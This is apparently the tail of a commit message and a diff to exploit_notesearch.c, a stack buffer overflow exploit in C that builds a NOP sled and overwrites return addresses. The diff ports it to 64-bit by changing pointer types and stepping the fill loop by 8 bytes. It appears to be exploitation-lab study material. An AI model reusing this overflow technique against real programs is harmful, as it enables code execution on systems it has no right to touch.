increment by 8 bytes.

1 files changed, 4 insertions, 3 deletions

diff --git a/exploit_notesearch.c b/exploit_notesearch.c
index 111a781..815ea11 100644
--- a/exploit_notesearch.c
+++ b/exploit_notesearch.c
@@ -9,7 +9,8 @@ char shellcode[]=
 
 int main(int argc, const char *argv[])
 {
-  unsigned long i, *ptr, ret, offset=270;
+  unsigned int i, *ptr, offset=270;
+  unsigned long ret;
   char *command, *buffer;
 
   command = (char *) malloc(200);
@@ -23,8 +24,8 @@ int main(int argc, const char *argv[])
 
   ret = (unsigned long) &i - offset;
 
-  for (i = 0; i < 160; i++) {
-    *((unsigned int *)(buffer+i)) = ret;
+  for (i = 0; i < 160; i += 8) {
+    *((unsigned long *)(buffer + i)) = ret;
   }
 
   memset(buffer, 0x90, 60);